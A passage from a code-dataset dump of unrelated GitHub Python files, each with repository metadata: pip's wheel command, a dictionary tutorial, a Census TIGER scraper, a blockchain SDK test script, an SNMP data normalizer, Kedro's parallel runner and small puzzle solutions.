cmd_opts.add_option(cmdoptions.no_binary())\n cmd_opts.add_option(cmdoptions.only_binary())\n cmd_opts.add_option(cmdoptions.prefer_binary())\n cmd_opts.add_option(\n '--build-option',\n dest='build_options',\n metavar='options',\n action='append',\n help=\"Extra arguments to be supplied to 'setup.py bdist_wheel'.\",\n )\n cmd_opts.add_option(cmdoptions.no_build_isolation())\n cmd_opts.add_option(cmdoptions.use_pep517())\n cmd_opts.add_option(cmdoptions.no_use_pep517())\n cmd_opts.add_option(cmdoptions.constraints())\n cmd_opts.add_option(cmdoptions.editable())\n cmd_opts.add_option(cmdoptions.requirements())\n cmd_opts.add_option(cmdoptions.src())\n cmd_opts.add_option(cmdoptions.ignore_requires_python())\n cmd_opts.add_option(cmdoptions.no_deps())\n cmd_opts.add_option(cmdoptions.build_dir())\n cmd_opts.add_option(cmdoptions.progress_bar())\n\n cmd_opts.add_option(\n '--global-option',\n dest='global_options',\n action='append',\n metavar='options',\n help=\"Extra global options to be supplied to the setup.py \"\n \"call before the 'bdist_wheel' command.\")\n\n cmd_opts.add_option(\n '--pre',\n action='store_true',\n default=False,\n help=(\"Include pre-release and development versions. By default, \"\n \"pip only finds stable versions.\"),\n )\n\n cmd_opts.add_option(cmdoptions.no_clean())\n cmd_opts.add_option(cmdoptions.require_hashes())\n\n index_opts = cmdoptions.make_option_group(\n cmdoptions.index_group,\n self.parser,\n )\n\n self.parser.insert_option_group(0, index_opts)\n self.parser.insert_option_group(0, cmd_opts)\n\n def run(self, options, args):\n cmdoptions.check_install_build_global(options)\n\n index_urls = [options.index_url] + options.extra_index_urls\n if options.no_index:\n logger.debug('Ignoring indexes: %s', ','.join(index_urls))\n index_urls = []\n\n if options.build_dir:\n options.build_dir = os.path.abspath(options.build_dir)\n\n options.src_dir = os.path.abspath(options.src_dir)\n\n with self._build_session(options) as session:\n finder = self._build_package_finder(options, session)\n build_delete = (not (options.no_clean or options.build_dir))\n wheel_cache = WheelCache(options.cache_dir, options.format_control)\n\n with RequirementTracker() as req_tracker, TempDirectory(\n options.build_dir, delete=build_delete, kind=\"wheel\"\n ) as directory:\n\n requirement_set = RequirementSet(\n require_hashes=options.require_hashes,\n )\n\n try:\n self.populate_requirement_set(\n requirement_set, args, options, finder, session,\n self.name, wheel_cache\n )\n\n preparer = RequirementPreparer(\n build_dir=directory.path,\n src_dir=options.src_dir,\n download_dir=None,\n wheel_download_dir=options.wheel_dir,\n progress_bar=options.progress_bar,\n build_isolation=options.build_isolation,\n req_tracker=req_tracker,\n )\n\n resolver = Resolver(\n preparer=preparer,\n finder=finder,\n session=session,\n wheel_cache=wheel_cache,\n use_user_site=False,\n upgrade_strategy=\"to-satisfy-only\",\n force_reinstall=False,\n ignore_dependencies=options.ignore_dependencies,\n ignore_requires_python=options.ignore_requires_python,\n ignore_installed=True,\n isolated=options.isolated_mode,\n use_pep517=options.use_pep517\n )\n resolver.resolve(requirement_set)\n\n # build wheels\n wb = WheelBuilder(\n finder, preparer, wheel_cache,\n build_options=options.build_options or [],\n global_options=options.global_options or [],\n no_clean=options.no_clean,\n )\n build_failures = wb.build(\n requirement_set.requirements.values(), session=session,\n )\n if len(build_failures) != 0:\n raise CommandError(\n \"Failed to build one or more wheels\"\n )\n except PreviousBuildDirError:\n options.no_clean = True\n raise\n finally:\n if not options.no_clean:\n requirement_set.cleanup_files()\n wheel_cache.cleanup()\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/pip-19.0.3-py3.6.egg/pip/_internal/commands/wheel.py","file_name":"wheel.py","file_ext":"py","file_size_in_byte":7167,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"} +{"seq_id":"9146942068","text":"# Similar to objects/maps in JS; comprised of key-value pairs\n# declared with {}; Keys must be unique\n\nmonthConversions = {\n 'Jan': 'January',\n 'Feb': 'February',\n 'Mar': 'March'\n}\n\n# Dicts are iterable; default is the keys inside the object\nfor month in monthConversions:\n print(month, monthConversions.get(month))\n\n# iterating over dict.items() gives you the key-value pairs\nfor month_pair in monthConversions.items():\n print(month_pair)\n\n# Pairs can be retrieved with .get()\nprint(monthConversions.get('Dec', \"Default Value if key is in the dict\"))\n\n# Dict pairs can be set or updated with .update() method or with the syntax dict[key] = value\nmonthConversions['Jan'] = 'October'\nprint(monthConversions)\n# Also works with an iterable of an object\nmonthConversions.update({'Jan': 'January'})\nprint(monthConversions)\n","repo_name":"josh-johnston/Tutorials-Learning-Microprojects","sub_path":"Python/Data_Structures/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37368560665","text":"from dataclasses import dataclass\nfrom typing import Dict, List, Union, Optional\n\nfrom bs4 import BeautifulSoup\nimport geopandas as gpd\nimport pandas as pd\nimport requests\n\nfrom cc_utils.census.api import CensusGeography\n\n\ndef request_page(metadata_url: str) -> requests.models.Response:\n resp = requests.get(metadata_url)\n if resp.status_code == 200:\n return resp\n else:\n raise Exception(f\"Couldn't get page metadata for url {metadata_url}\")\n\n\ndef scrape_census_ftp_metadata_page(metadata_url: str) -> pd.DataFrame:\n resp = request_page(metadata_url=metadata_url)\n soup = BeautifulSoup(resp.content, \"html.parser\")\n table = soup.find(\"table\")\n rows = table.find_all(\"tr\")\n table_contents = []\n for row in rows:\n cols = row.find_all(\"td\")\n cols = [col.text.strip() for col in cols]\n table_contents.append(cols)\n table_rows = [el for el in table_contents if len(el) > 0]\n\n metadata_df = pd.DataFrame(\n [row[1:] for row in table_rows],\n columns=[\"name\", \"last_modified\", \"size\", \"description\"],\n )\n metadata_df[\"last_modified\"] = pd.to_datetime(metadata_df[\"last_modified\"])\n metadata_df[\"is_dir\"] = metadata_df[\"name\"].str.endswith(\"/\")\n metadata_df[\"clean_name\"] = metadata_df[\"name\"].str.replace(\"/$\", \"\", regex=True)\n metadata_df[\"is_file\"] = (~metadata_df[\"is_dir\"]) & (\n metadata_df[\"clean_name\"] != \"Parent Directory\"\n )\n while metadata_url.strip().endswith(\"/\"):\n metadata_url = metadata_url[:-1]\n mask = metadata_df[\"is_file\"] | metadata_df[\"is_dir\"]\n metadata_df = metadata_df.loc[mask].copy()\n metadata_df[\"metadata_url\"] = metadata_url + \"/\" + metadata_df[\"clean_name\"]\n return metadata_df\n\n\ndef get_tiger_vintages_metadata() -> pd.DataFrame:\n all_tiger_vintages_df = scrape_census_ftp_metadata_page(\n metadata_url=\"https://www2.census.gov/geo/tiger/\"\n )\n tiger_vintages_df = all_tiger_vintages_df.loc[\n all_tiger_vintages_df[\"name\"].str.contains(\"^TIGER\\d{4}/\", regex=True)\n ].copy()\n tiger_vintages_df = tiger_vintages_df.sort_values(by=\"name\", ignore_index=True)\n return tiger_vintages_df\n\n\nclass TIGERCatalog:\n def __init__(self):\n self.dataset_vintages = get_tiger_vintages_metadata()\n\n def get_vintage_metadata(self, year: str) -> pd.DataFrame:\n return self.dataset_vintages.loc[self.dataset_vintages[\"name\"] == f\"TIGER{year}/\"].copy()\n\n\nclass TIGERVintageCatalog:\n def __init__(self, year: str, catalog: Optional[TIGERCatalog] = None):\n self.year = str(year)\n self.set_catalog(catalog=catalog)\n\n def set_catalog(self, catalog: Optional[TIGERCatalog]) -> None:\n if catalog is None:\n self.catalog = TIGERCatalog()\n else:\n self.catalog = catalog\n\n @property\n def vintage_metadata(self):\n return self.catalog.get_vintage_metadata(year=self.year)\n\n @property\n def vintage_entities(self):\n if len(self.vintage_metadata) == 1:\n tiger_vintage_url = self.vintage_metadata[\"metadata_url\"].values[0]\n return scrape_census_ftp_metadata_page(metadata_url=tiger_vintage_url)\n else:\n raise Exception(f\"Failed to get unambiguous metadata (got {self.vintage_metadata})\")\n\n def get_entity_metadata(self, entity_name: str) -> pd.DataFrame:\n return self.vintage_entities.loc[self.vintage_entities[\"clean_name\"] == entity_name].copy()\n\n def print_entity_names(self):\n entity_names = self.vintage_entities.loc[\n self.vintage_entities[\"is_dir\"], \"clean_name\"\n ].values\n print(f\"TIGER Entity options for the {self.year} TIGER vintage:\")\n for entity_name in entity_names:\n print(f\" - {entity_name}\")\n print(f\"Entity count: {len(entity_names)}\")\n\n\nclass TIGERGeographicEntityVintage:\n def __init__(self, entity_name: str, year: str, catalog: Optional[TIGERCatalog] = None):\n self.entity_name = entity_name\n self.year = str(year)\n self.vintage_catalog = TIGERVintageCatalog(year=year, catalog=catalog)\n self.entity_metadata = self.vintage_catalog.get_entity_metadata(\n entity_name=self.entity_name\n )\n\n @property\n def entity_url(self):\n return self.entity_metadata[\"metadata_url\"].values[0]\n\n @property\n def entity_files_metadata(self):\n return scrape_census_ftp_metadata_page(metadata_url=self.entity_url)\n\n def get_geometry_filter_str(self, geography: CensusGeography) -> str:\n us_mask = self.entity_files_metadata[\"name\"].str.contains(\"_\\d{4}_us_\")\n state_county_mask = self.entity_files_metadata[\"name\"].str.contains(\"_\\d{4}_\\d{5}_\")\n state_mask = self.entity_files_metadata[\"name\"].str.contains(\"_\\d{4}_\\d{2}_\")\n if us_mask.sum() == 1:\n filter_str = \"_us_\"\n elif hasattr(geography, \"state_cd\"):\n state_codes = geography.state_cd\n if isinstance(state_codes, list):\n filter_str = f\"\"\"_{\"*_|_\".join(state_codes)}*_\"\"\"\n elif (state_county_mask.sum() > 0) and (state_mask.sum() == 0):\n county_codes = geography.county_cd\n filter_str = f\"_{state_codes}{county_codes}_\"\n else:\n filter_str = f\"_{state_codes}_\"\n return filter_str\n\n def get_entity_file_metadata(self, geography: CensusGeography) -> pd.DataFrame:\n filter_str = self.get_geometry_filter_str(geography=geography)\n return self.entity_files_metadata.loc[\n self.entity_files_metadata[\"name\"].str.contains(filter_str)\n ].copy()\n\n def get_entity_data(self, geography: CensusGeography) -> gpd.GeoDataFrame:\n entity_subset_metadata = self.get_entity_file_metadata(geography=geography)\n gdfs = []\n urls = entity_subset_metadata[\"metadata_url\"].values\n for url in urls:\n try:\n gdf = gpd.read_file(url)\n gdfs.append(gdf)\n except Exception:\n print(f\"Failed to download {url}\")\n full_gdf = pd.concat(gdfs)\n return full_gdf\n\n\n@dataclass\nclass TIGERDatasetFreshnessCheck:\n def __init__(\n self,\n source_freshness: pd.DataFrame,\n local_freshness: pd.DataFrame,\n ):\n self.source_freshness = source_freshness\n self.local_freshness = local_freshness\n\n\n@dataclass\nclass TIGERDataset:\n base_dataset_name: str\n vintage_year: Union[str, int, List[str], List[int]]\n entity_name: str\n geography: CensusGeography\n schedule: Optional[str] = None\n\n @property\n def dataset_name(self):\n if isinstance(self.vintage_year, list):\n year_str = f\"{min(self.vintage_year)}_to_{max(self.vintage_year)}\"\n else:\n year_str = str(self.vintage_year)\n return f\"{self.base_dataset_name}_{year_str}\"\n","repo_name":"MattTriano/analytics_data_where_house","sub_path":"airflow/dags/cc_utils/census/tiger.py","file_name":"tiger.py","file_ext":"py","file_size_in_byte":6865,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"6770063450","text":"import requests\nimport getpass\nimport time\n\nimport eth_account\nimport os\n\nfrom web3 import Web3\nimport json\nimport codecs\n\nfrom bmc_sdk.constants import Direction\nfrom bmc_sdk.bmc_client import BmcClient\nfrom bmc_sdk.constants import EthNet\n\nfrom bmc_sdk.log_service import log_service_manager\nfrom bmc_sdk.maze_client import MazeClient\n\n\ndef load_json(filename):\n \"\"\"\n Load data from json file in temp path.\n \"\"\"\n if os.path.exists(filename):\n with codecs.open(filename, mode=\"r\", encoding=\"utf-8\") as f:\n data = json.load(f)\n return data\n else:\n return {}\n\n\ndef work_client(client):\n contract_address = Web3.toChecksumAddress(\"0x0b45Ad27866C8E05ED610cd8A0ec78de94B18202\")\n log_service_manager.write_log(\"[work_client]\")\n data = client.get_supported_contracts()\n log_service_manager.write_log(f\"[work_client] get_supported_contracts: {data}\")\n print(client.address, client.maze_contract_address)\n data = client.is_approval_for_all(client.address, client.maze_contract_address)\n log_service_manager.write_log(f\"[work_client] is_approval_for_all: {data}\")\n\n # data = client.check_and_go_approve_for_maze(contract_address)\n # log_service_manager.write_log(f\"[work_client] check_and_go_approve, data:{data}\")\n #\n # transaction, tx_params = client.set_approval_for_all(client.maze_contract_address, True)\n # log_service_manager.write_log(f\"[work_client] set_approval_for_all transaction:{transaction},\"\n # f\" tx_params:{tx_params}\")\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] data:{data}\")\n\n erc721address = \"0x1819BFe00C0c0aEe24B88aCE7bff36d574d70180\"\n token_id = 23\n #token_id = 24\n deposit = 1004\n # transaction, tx_params = client.create_auction(erc721address, token_id, deposit, contract_address=contract_address)\n # print(transaction, tx_params)\n # data = client.estimate_gas(transaction)\n # print(data)\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] create_auction transaction:{transaction}, tx_params:{tx_params}\")\n # log_service_manager.write_log(f\"[work_client] data:{data}\")\n\n # amount = 2\n # transaction, tx_params = client.increase_deposit(erc721address, token_id, amount, contract_address)\n # log_service_manager.write_log(f\"[work_client] increase_deposit transaction:{transaction}, tx_params:{tx_params}\")\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] data:{data}\")\n\n # transaction, tx_params = client.decrease_deposit(erc721address, token_id, amount, contract_address)\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] decrease_deposit transaction:{transaction}, tx_params:{tx_params}\")\n # log_service_manager.write_log(f\"[work_client] data:{data}!\")\n\n # transaction, tx_params = client.bid_auction(erc721address, token_id, deposit, contract_address)\n # data = client.estimate_gas(transaction)\n # print(data)\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] bid_auction transaction:{transaction}, tx_params:{tx_params}\")\n # log_service_manager.write_log(f\"[work_client] data:{data}!\")\n\n offer_price = 888\n deadline = int(time.time()) + 10 * 60\n deadline = 1749413950\n transaction, tx_params = client.apply_offer(erc721address, token_id, offer_price, deposit, deadline)\n data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] apply_offer transaction:{transaction}, tx_params:{tx_params}\")\n log_service_manager.write_log(f\"[work_client] data:{data}!\")\n\n # data = client.get_offers(erc721address, token_id)\n # log_service_manager.write_log(f\"[work_client] get_offers data:{data}\")\n\n data = client.get_auction(erc721address, token_id)\n log_service_manager.write_log(f\"[work_client] get_auction data:{data}\")\n\n # buyer = \"0xa6Cb31B0A18AF665eafAf48EF6A05Bd8a4387309\"\n # buyer = \"0x2B522cABE9950D1153c26C1b399B293CaA99FcF9\"\n # transaction, tx_params = client.accept_offer(erc721address, token_id, buyer)\n # data = client.estimate_gas(transaction)\n # print(data)\n # log_service_manager.write_log(f\"[work_client] accept_offer transaction:{transaction}, tx_params:{tx_params}\")\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] data:{data}!\")\n\n # transaction, tx_params = client.cancel_offer(erc721address, token_id)\n # data = client.estimate_gas(transaction)\n # data = client.signed_and_send(transaction, tx_params)\n # log_service_manager.write_log(f\"[work_client] cancel_offer transaction:{transaction}, tx_params:{tx_params}\")\n # log_service_manager.write_log(f\"[work_client] data:{data}!\")\n\n # data = client.get_auction_param(erc721address)\n # log_service_manager.write_log(f\"[work_client] get_auction_param data:{data}\")\n\n\ndef run1():\n keystore_file_path = \"./eth_keystore.json\"\n passwd = getpass.getpass(\"请输入你的密码： \")\n\n with open(keystore_file_path) as keyfile:\n encrypted_key = keyfile.read()\n\n provider = \"https://testnet.bmcchain.com\"\n use_w3 = Web3(\n Web3.HTTPProvider(provider, request_kwargs={\"timeout\": 60})\n )\n private_key = use_w3.eth.account.decrypt(encrypted_key, passwd)\n work_address = eth_account.Account.from_key(private_key).address\n\n client = MazeClient(address=work_address, private_key=private_key,\n network=EthNet.BmcTestNet.value, provider=provider)\n\n work_client(client)\n\n\ndef run2():\n config_json = load_json(\"config_env.json\")\n provider = \"https://testnet.bmcchain.com\"\n print(config_json)\n client = MazeClient(address=config_json[\"address\"], private_key=config_json[\"private_key\"],\n network=EthNet.BmcTestNet.value, provider=provider)\n work_client(client)\n\n\n# run1()\nrun2()\n","repo_name":"Bytom/mov-mmdk","sub_path":"example/maze_client/maze_tesk/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"5272287668","text":"#!/usr/bin/env python3\n\"\"\"Class for normalizing the data read from YAML files.\"\"\"\n\nimport os\nimport yaml\n\n\nimport jm_general\n\n\nclass File(object):\n \"\"\"Process configuration file for a host.\n\n The aim of this class is to process the YAML file consistently\n across multiple manufacturers and present it to other classes\n consistently. That way manufacturer specific code for processing YAML\n data is in one place.\n\n For example, there isn’t a standard way of reporting ethernet duplex\n values with different manufacturers exposing this data to different MIBs.\n The jm_xlate file attempts to determine the true duplex value of the\n device by testing the presence of one or more OID values in the data.\n It adds a ‘duplex’ data key to self.ports to act as the canonical key for\n duplex across all devices.\n\n \"\"\"\n\n def __init__(self, config, host, ifindices=None):\n \"\"\"Initialize class.\n\n Args:\n config: Configuration file object\n host: Hostname to process\n ifindices: List of ifindices to process\n\n Returns:\n data_dict: Dict of summary data\n\n \"\"\"\n # Initialize key variables\n self.ports = {}\n yaml_file = config.snmp_device_file(host)\n\n # Fail if yaml file doesn't exist\n if os.path.isfile(yaml_file) is False:\n log_message = (\n 'YAML file %s for host %s doesn\\'t exist! '\n 'Try polling devices first.') % (yaml_file, host)\n jm_general.logit(1017, log_message)\n\n # Read file\n with open(yaml_file, 'r') as file_handle:\n yaml_from_file = file_handle.read()\n yaml_data = yaml.load(yaml_from_file)\n\n # Create dict for layer1 Ethernet data\n for key, metadata in yaml_data['layer1'].items():\n # Only process if key is found in ifindices\n if ifindices is not None:\n if int(key) not in ifindices:\n continue\n\n # Process metadata\n if _is_ethernet(metadata) is True:\n # Update vlan to universal infoset metadata value\n metadata['jm_vlan'] = _vlan(yaml_data, key)\n\n # Update duplex to universal infoset metadata value\n metadata['jm_duplex'] = _duplex(metadata)\n\n # Update ports\n self.ports[int(key)] = metadata\n\n # Get system\n self.system = yaml_data['system']\n\n def system_summary(self):\n \"\"\"Return system summary data.\n\n Args:\n None\n\n Returns:\n data_dict: Dict of summary data\n\n \"\"\"\n # Initialize key variables\n data_dict = {}\n\n # Assign system variables\n v2mib = self.system['SNMPv2-MIB']\n for key in v2mib.keys():\n data_dict[key] = v2mib[key]['0']\n\n # Return\n return data_dict\n\n def ethernet_data(self):\n \"\"\"Return L1 data for Ethernet ports only.\n\n Args:\n None\n\n Returns:\n self.ports: L1 data for Ethernet ports\n\n \"\"\"\n return self.ports\n\n\ndef _is_ethernet(metadata):\n \"\"\"Return whether ifIndex metadata belongs to an Ethernet port.\n\n Args:\n metadata: Data dict related to the port\n\n Returns:\n valid: True if valid ethernet port\n\n \"\"\"\n # Initialize key variables\n valid = False\n\n # Process ifType\n if 'ifType' in metadata:\n # Get port name\n name = metadata['ifName'].lower()\n\n # Process ethernet ports\n if metadata['ifType'] == 6:\n # VLAN L2 VLAN interfaces passing as Ethernet\n if name.startswith('vl') is False:\n valid = True\n\n # Return\n return valid\n\n\ndef _vlan(metadata, ifindex):\n \"\"\"Return vlan for specific ifIndex.\n\n Args:\n metadata: Data dict related to the device\n ifindex: ifindex in question\n\n Returns:\n vlan: True if valid ethernet port\n\n \"\"\"\n # Initialize key variables\n vlan = None\n\n # Determine vlan number for Cisco devices\n if 'vmVlan' in metadata['layer1'][ifindex]:\n vlan = int(metadata['layer1'][ifindex]['vmVlan'])\n\n # Return\n return vlan\n\n\ndef _duplex(metadata):\n \"\"\"Return duplex value for port.\n\n Args:\n metadata: Data dict related to the port\n\n Returns:\n duplex: Duplex value\n 0) Unknown\n 1) Half\n 2) Full\n 3) Half Auto\n 4) Full Auto\n\n \"\"\"\n # Initialize key variables\n duplex = 0\n\n # Process swPortDuplexStatus\n if 'swPortDuplexStatus' in metadata:\n value = metadata['swPortDuplexStatus']\n\n # Process duplex\n if value == 1:\n duplex = 2\n else:\n duplex = 1\n\n # Process dot3StatsDuplexStatus\n elif 'dot3StatsDuplexStatus' in metadata:\n value = metadata['dot3StatsDuplexStatus']\n\n # Process duplex\n if value == 2:\n duplex = 1\n elif value == 3:\n duplex = 2\n\n # Process portDuplex\n elif 'portDuplex' in metadata:\n value = metadata['portDuplex']\n\n # Process duplex\n if value == 1:\n duplex = 1\n elif value == 2:\n duplex = 2\n\n # Process c2900PortDuplexState\n # The Cisco 3500XL is known to report incorrect duplex values.\n # Obsolete device, doesn't make sense supporting it.\n elif 'c2900PortLinkbeatStatus' in metadata:\n status_link = metadata['c2900PortLinkbeatStatus']\n status_duplex = metadata['c2900PortDuplexStatus']\n\n if status_link == 3:\n # If no link beats (Not AutoNegotiate)\n if status_duplex == 1:\n duplex = 2\n elif status_duplex == 2:\n duplex = 1\n else:\n # If link beats (AutoNegotiate)\n if status_duplex == 1:\n duplex = 4\n elif status_duplex == 2:\n duplex = 3\n\n # Return\n return duplex\n","repo_name":"adrianneg/infoset","sub_path":"lib/getdata/files/xlate_snmp.py","file_name":"xlate_snmp.py","file_ext":"py","file_size_in_byte":6004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26588815988","text":"import os\nimport pickle\nfrom collections import Counter\nfrom concurrent.futures import FIRST_COMPLETED, ProcessPoolExecutor, wait\nfrom itertools import chain\nfrom multiprocessing.managers import BaseProxy, SyncManager # type: ignore\nfrom multiprocessing.reduction import ForkingPickler\nfrom pickle import PicklingError\nfrom typing import Any, Iterable, Set\n\nfrom kedro.io import DataCatalog, DataSetError, MemoryDataSet\nfrom kedro.pipeline import Pipeline\nfrom kedro.pipeline.node import Node\nfrom kedro.runner.runner import AbstractRunner, run_node\n\n\nclass _SharedMemoryDataSet:\n \"\"\"``_SharedMemoryDataSet`` a wrapper class for a shared MemoryDataSet in SyncManager.\n It is not inherited from AbstractDataSet class.\n \"\"\"\n\n def __init__(self, manager: SyncManager):\n \"\"\"Creates a new instance of ``_SharedMemoryDataSet``,\n and creates shared memorydataset attribute.\n\n Args:\n manager: An instance of multiprocessing manager for shared objects.\n\n \"\"\"\n self.shared_memory_dataset = manager.MemoryDataSet() # type: ignore\n\n def __getattr__(self, name):\n # This if condition prevents recursive call when deserializing\n if name == \"__setstate__\":\n raise AttributeError()\n return getattr(self.shared_memory_dataset, name)\n\n def save(self, data: Any):\n \"\"\"Calls save method of a shared MemoryDataSet in SyncManager.\n \"\"\"\n try:\n self.shared_memory_dataset.save(data)\n except Exception as exc: # pylint: disable=broad-except\n # Checks if the error is due to serialisation or not\n try:\n pickle.dumps(data)\n except Exception:\n raise DataSetError(\n \"{} cannot be serialized. ParallelRunner implicit memory datasets \"\n \"can only be used with serializable data\".format(\n str(data.__class__)\n )\n )\n else:\n raise exc\n\n\nclass ParallelRunnerManager(SyncManager):\n \"\"\"``ParallelRunnerManager`` is used to create shared ``MemoryDataSet``\n objects as default data sets in a pipeline.\n \"\"\"\n\n\nParallelRunnerManager.register( # pylint: disable=no-member\n \"MemoryDataSet\", MemoryDataSet\n)\n\n\nclass ParallelRunner(AbstractRunner):\n \"\"\"``ParallelRunner`` is an ``AbstractRunner`` implementation. It can\n be used to run the ``Pipeline`` in parallel groups formed by toposort.\n \"\"\"\n\n def __init__(self, max_workers: int = None):\n \"\"\"\n Instantiates the runner by creating a Manager.\n\n Args:\n max_workers: Number of worker processes to spawn. If not set,\n calculated automatically based on the pipeline configuration\n and CPU core count.\n\n Raises:\n ValueError: bad parameters passed\n \"\"\"\n self._manager = ParallelRunnerManager()\n self._manager.start()\n\n if max_workers is not None and max_workers <= 0:\n raise ValueError(\"max_workers should be positive\")\n\n # NOTE: `os.cpu_count` might return None in some weird cases.\n # https://github.com/python/cpython/blob/3.7/Modules/posixmodule.c#L11431\n self._max_workers = max_workers or os.cpu_count() or 1\n\n def __del__(self):\n self._manager.shutdown()\n\n def create_default_data_set( # type: ignore\n self, ds_name: str\n ) -> _SharedMemoryDataSet:\n \"\"\"Factory method for creating the default data set for the runner.\n\n Args:\n ds_name: Name of the missing data set\n\n Returns:\n An instance of an implementation of _SharedMemoryDataSet to be used\n for all unregistered data sets.\n\n \"\"\"\n return _SharedMemoryDataSet(self._manager)\n\n @classmethod\n def _validate_nodes(cls, nodes: Iterable[Node]):\n \"\"\"Ensure all tasks are serializable.\"\"\"\n unserializable = []\n for node in nodes:\n try:\n ForkingPickler.dumps(node)\n except (AttributeError, PicklingError):\n unserializable.append(node)\n\n if unserializable:\n raise AttributeError(\n \"The following nodes cannot be serialized: {}\\nIn order to \"\n \"utilize multiprocessing you need to make sure all nodes are \"\n \"serializable, i.e. nodes should not include lambda \"\n \"functions, nested functions, closures, etc.\\nIf you \"\n \"are using custom decorators ensure they are correctly using \"\n \"functools.wraps().\".format(sorted(unserializable))\n )\n\n @classmethod\n def _validate_catalog(cls, catalog: DataCatalog, pipeline: Pipeline):\n \"\"\"Ensure that all data sets are serializable and that we do not have\n any non proxied memory data sets being used as outputs as their content\n will not be synchronized across threads.\n \"\"\"\n\n data_sets = catalog._data_sets # pylint: disable=protected-access\n\n unserializable = []\n for name, data_set in data_sets.items():\n try:\n ForkingPickler.dumps(data_set)\n except (AttributeError, PicklingError):\n unserializable.append(name)\n\n if unserializable:\n raise AttributeError(\n \"The following data_sets cannot be serialized: {}\\nIn order \"\n \"to utilize multiprocessing you need to make sure all data \"\n \"sets are serializable, i.e. data sets should not make use of \"\n \"lambda functions, nested functions, closures etc.\\nIf you \"\n \"are using custom decorators ensure they are correctly using \"\n \"functools.wraps().\".format(sorted(unserializable))\n )\n\n memory_data_sets = []\n for name, data_set in data_sets.items():\n if (\n name in pipeline.all_outputs()\n and isinstance(data_set, MemoryDataSet)\n and not isinstance(data_set, BaseProxy)\n ):\n memory_data_sets.append(name)\n\n if memory_data_sets:\n raise AttributeError(\n \"The following data sets are memory data sets: {}\\n\"\n \"ParallelRunner does not support output to externally created \"\n \"MemoryDataSets\".format(sorted(memory_data_sets))\n )\n\n def _get_required_workers_count(self, pipeline: Pipeline):\n \"\"\"\n Calculate the max number of processes required for the pipeline,\n limit to the number of CPU cores.\n \"\"\"\n # Number of nodes is a safe upper-bound estimate.\n # It's also safe to reduce it by the number of layers minus one,\n # because each layer means some nodes depend on other nodes\n # and they can not run in parallel.\n # It might be not a perfect solution, but good enough and simple.\n required_processes = len(pipeline.nodes) - len(pipeline.grouped_nodes) + 1\n\n return min(required_processes, self._max_workers)\n\n def _run( # pylint: disable=too-many-locals,useless-suppression\n self, pipeline: Pipeline, catalog: DataCatalog\n ) -> None:\n \"\"\"The abstract interface for running pipelines.\n\n Args:\n pipeline: The ``Pipeline`` to run.\n catalog: The ``DataCatalog`` from which to fetch data.\n\n Raises:\n AttributeError: when the provided pipeline is not suitable for\n parallel execution.\n Exception: in case of any downstream node failure.\n\n \"\"\"\n nodes = pipeline.nodes\n self._validate_catalog(catalog, pipeline)\n self._validate_nodes(nodes)\n\n load_counts = Counter(chain.from_iterable(n.inputs for n in nodes))\n node_dependencies = pipeline.node_dependencies\n todo_nodes = set(node_dependencies.keys())\n done_nodes = set() # type: Set[Node]\n futures = set()\n done = None\n max_workers = self._get_required_workers_count(pipeline)\n\n with ProcessPoolExecutor(max_workers=max_workers) as pool:\n while True:\n ready = {n for n in todo_nodes if node_dependencies[n] <= done_nodes}\n todo_nodes -= ready\n for node in ready:\n futures.add(pool.submit(run_node, node, catalog))\n if not futures:\n assert not todo_nodes, (todo_nodes, done_nodes, ready, done)\n break\n done, futures = wait(futures, return_when=FIRST_COMPLETED)\n for future in done:\n try:\n node = future.result()\n except Exception:\n self._suggest_resume_scenario(pipeline, done_nodes)\n raise\n done_nodes.add(node)\n\n # decrement load counts and release any data sets we've finished with\n # this is particularly important for the shared datasets we create above\n for data_set in node.inputs:\n load_counts[data_set] -= 1\n if (\n load_counts[data_set] < 1\n and data_set not in pipeline.inputs()\n ):\n catalog.release(data_set)\n for data_set in node.outputs:\n if (\n load_counts[data_set] < 1\n and data_set not in pipeline.outputs()\n ):\n catalog.release(data_set)\n","repo_name":"matbarPL/stance-tagger-kedro","sub_path":"Lib/site-packages/kedro/runner/parallel_runner.py","file_name":"parallel_runner.py","file_ext":"py","file_size_in_byte":9706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39610414737","text":"with open(\"day-02-input.txt\", 'r') as f:\n ids = f.readlines()\n\nids = [id.strip() for id in ids]\n\ntwo = 0\nthree = 0\n\nfor new_id in ids:\n for digit in new_id:\n if new_id.count(digit) == 2:\n two += 1\n break\n for digit in new_id:\n if new_id.count(digit) == 3:\n three += 1\n break\n\nprint(\"Part One:\", two * three)\n\nfor i, ida in enumerate(ids):\n differences = 0\n \n for j in range(i+1, len(ids)):\n differences = [x for x,y in zip(ida, ids[j]) if x == y]\n if len(differences) == len(ida)-1 :\n print(\"Part Two:\", \"\".join(differences))\n break","repo_name":"jareddrayton/Advent-of-Code","sub_path":"advent_of_code_2018/day-02/day-02.py","file_name":"day-02.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12754374711","text":"import math,string,itertools,fractions,heapq,collections,re,array,bisect,random\n\nclass WritingWords:\n def write(self, word):\n return sum(ord(char) - ord('A') + 1 for char in word)\n\n# BEGIN KAWIGIEDIT TESTING\n# 